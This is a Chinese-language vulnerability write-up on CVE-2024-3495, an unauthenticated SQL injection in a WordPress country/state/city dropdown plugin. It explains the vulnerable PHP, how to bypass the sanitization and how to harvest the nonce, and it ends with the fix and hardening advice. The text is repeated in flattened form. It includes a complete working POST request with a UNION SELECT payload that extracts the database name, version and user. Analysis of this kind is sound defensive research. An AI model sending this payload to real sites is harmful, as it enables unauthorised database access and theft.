wordperss_country-state-city-auto-dropdown插件未授权sql注入漏洞分析
字数 1707 2025-08-19 12:41:03

WordPress Country State City Dropdown CF7插件SQL注入漏洞分析(CVE-2024-3495)

1. 漏洞概述

WordPress的Country State City Dropdown CF7插件在2.7.2及之前版本中存在SQL注入漏洞(CVE-2024-3495)。该漏洞允许未经身份验证的远程攻击者获取数据库敏感信息。

漏洞类型

  • 未授权SQL注入漏洞

影响版本

  • Country State City Dropdown CF7 <= 2.7.2

漏洞成因

  1. 用户提供的参数未经足够转义
  2. 现有SQL查询未经充分准备
  3. 缺乏权限验证机制

2. 环境搭建

  1. 下载受影响版本的插件(<=2.7.2)
  2. 上传至WordPress插件目录
  3. 激活插件

3. 技术分析

3.1 WordPress Nonce机制

Nonce作用

  • 用于确保请求有效且来自合法用户
  • 通过将查询字符串嵌入URL和表单工作

Nonce生成过程

  1. 调用wp_create_nonce函数
  2. 根据传入的$action判断action有效性
  3. 获取当前用户UID(登录用户返回UID,未登录返回0)
  4. 通过'nonce_user_logged_out'过滤器修改UID
  5. 使用wp_hash()函数生成nonce值

特点:

  • Nonce值与当前用户UID和session绑定
  • 有效期默认为12小时
  • 无论是否登录都可以生成nonce

3.2 漏洞代码分析

漏洞位于wp-content/plugins/country-state-city-auto-dropdown/includes/ajax-actions.php文件中的tc_csca_get_statestc_csca_get_cities函数。

tc_csca_get_cities函数为例:

function tc_csca_get_cities() {
    check_ajax_referer('tc_csca_ajax_nonce', 'nonce_ajax');
    global $wpdb;
    
    if (isset($_POST['sid'])) {
        $sid = sanitize_text_field($_POST['sid']);
        $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}cities WHERE state_id = %1s", $sid);
        $cities = $wpdb->get_results($query);
        // ...
    }
    // ...
}

漏洞点分析

  1. Nonce验证:

    • 使用check_ajax_referer验证nonce有效性
    • 但未验证用户权限
  2. 参数处理:

    • 使用sanitize_text_field过滤输入
    • 但过滤不彻底,可绕过
  3. SQL查询:

    • 使用$wpdb->prepare准备查询
    • 但占位符%1s未用引号包裹,导致注入

sanitize_text_field过滤机制

  1. 检查输入是否为对象或数组(是则返回空)
  2. 强制转换为字符串
  3. 过滤无效UTF-8字符
  4. 替换以下字符为空格:
    • <
    • 换行符
    • 制表符
    • 回车符
    • 连续空格
    • 百分号编码字符

绕过方法:

  • 使用注释符代替空格
  • 尝试其他编码形式

3.3 Nonce获取方式

Nonce通过wp_localize_script传递到前端:

// country-state-city-auto-dropdown/trunk/includes/include-js-css.php
function tc_csca_embedCssJs() {
    wp_enqueue_script('tc_csca_js', TC_CSCA_PLUGIN_URL . 'assets/js/custom.js');
    wp_localize_script('tc_csca_js', 'tc_csca_ajax', array(
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('tc_csca_ajax_nonce')
    ));
}
add_action('wp_enqueue_scripts', 'tc_csca_embedCssJs');

获取方法:

  1. 查看页面源代码
  2. 搜索tc_csca_ajax对象
  3. 提取其中的nonce

4. 漏洞复现

复现步骤

  1. 获取Nonce:

    • 访问WordPress首页
    • 查看源代码搜索tc_csca_ajax.nonce
    • 记录nonce值(如edd043e9ec)
  2. 构造Payload:

    POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 172
    
    action=tc_csca_get_cities&nonce_ajax=edd043e9ec&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
    
  3. 执行攻击:

    • 发送上述POST请求
    • 获取数据库信息(数据库名、版本、用户等)

Payload解释

  • action: 指定调用的AJAX函数
  • nonce_ajax: 有效的nonce值
  • sid: 注入Payload
    • 使用union select联合查询
    • concat合并多个信息
    • 十六进制编码分隔符(如0x7c|)

5. 漏洞修复

官方修复措施:

  1. 添加权限验证:

    if (!current_user_can('edit_posts')) {
        echo json_encode(array('message' => 'Not Allowed'));
        wp_die();
    }
    
  2. 改进SQL查询:

    • 使用引号包裹占位符:'%1s'
  3. 更新后变化:

    • Nonce仍会传回前端
    • 但调用函数会检查权限
    • 无权限返回Not Allowed

6. 防护建议

  1. 及时更新插件至最新版本
  2. 对用户输入实施严格过滤
  3. 使用参数化查询并正确使用占位符
  4. 关键操作添加权限验证
  5. 限制数据库用户权限

7. 总结

该漏洞利用链的关键点:

  1. 前端可获取有效nonce
  2. 函数缺乏权限验证
  3. 参数过滤不彻底
  4. SQL查询构造不安全

通过组合这些因素,攻击者可在未授权情况下执行SQL注入攻击,获取数据库敏感信息。

WordPress Country State City Dropdown CF7插件SQL注入漏洞分析(CVE-2024-3495) 1. 漏洞概述 WordPress的Country State City Dropdown CF7插件在2.7.2及之前版本中存在SQL注入漏洞(CVE-2024-3495)。该漏洞允许未经身份验证的远程攻击者获取数据库敏感信息。 漏洞类型 未授权SQL注入漏洞 影响版本 Country State City Dropdown CF7 <= 2.7.2 漏洞成因 用户提供的参数未经足够转义 现有SQL查询未经充分准备 缺乏权限验证机制 2. 环境搭建 下载受影响版本的插件( <=2.7.2) 上传至WordPress插件目录 激活插件 3. 技术分析 3.1 WordPress Nonce机制 Nonce作用 用于确保请求有效且来自合法用户 通过将查询字符串嵌入URL和表单工作 Nonce生成过程 调用 wp_create_nonce 函数 根据传入的 $action 判断action有效性 获取当前用户UID(登录用户返回UID,未登录返回0) 通过 'nonce_user_logged_out' 过滤器修改UID 使用 wp_hash() 函数生成nonce值 特点 : Nonce值与当前用户UID和session绑定 有效期默认为12小时 无论是否登录都可以生成nonce 3.2 漏洞代码分析 漏洞位于 wp-content/plugins/country-state-city-auto-dropdown/includes/ajax-actions.php 文件中的 tc_csca_get_states 和 tc_csca_get_cities 函数。 以 tc_csca_get_cities 函数为例: 漏洞点分析 Nonce验证 : 使用 check_ajax_referer 验证nonce有效性 但未验证用户权限 参数处理 : 使用 sanitize_text_field 过滤输入 但过滤不彻底,可绕过 SQL查询 : 使用 $wpdb->prepare 准备查询 但占位符 %1s 未用引号包裹,导致注入 sanitize_ text_ field过滤机制 检查输入是否为对象或数组(是则返回空) 强制转换为字符串 过滤无效UTF-8字符 替换以下字符为空格: < 换行符 制表符 回车符 连续空格 百分号编码字符 绕过方法 : 使用注释符代替空格 尝试其他编码形式 3.3 Nonce获取方式 Nonce通过 wp_localize_script 传递到前端: 获取方法 : 查看页面源代码 搜索 tc_csca_ajax 对象 提取其中的 nonce 值 4. 漏洞复现 复现步骤 获取Nonce : 访问WordPress首页 查看源代码搜索 tc_csca_ajax.nonce 记录nonce值(如 edd043e9ec ) 构造Payload : 执行攻击 : 发送上述POST请求 获取数据库信息(数据库名、版本、用户等) Payload解释 action : 指定调用的AJAX函数 nonce_ajax : 有效的nonce值 sid : 注入Payload 使用 union select 联合查询 concat 合并多个信息 十六进制编码分隔符(如 0x7c 是 | ) 5. 漏洞修复 官方修复措施: 添加权限验证 : 改进SQL查询 : 使用引号包裹占位符: '%1s' 更新后变化 : Nonce仍会传回前端 但调用函数会检查权限 无权限返回 Not Allowed 6. 防护建议 及时更新插件至最新版本 对用户输入实施严格过滤 使用参数化查询并正确使用占位符 关键操作添加权限验证 限制数据库用户权限 7. 总结 该漏洞利用链的关键点: 前端可获取有效nonce 函数缺乏权限验证 参数过滤不彻底 SQL查询构造不安全 通过组合这些因素,攻击者可在未授权情况下执行SQL注入攻击,获取数据库敏感信息。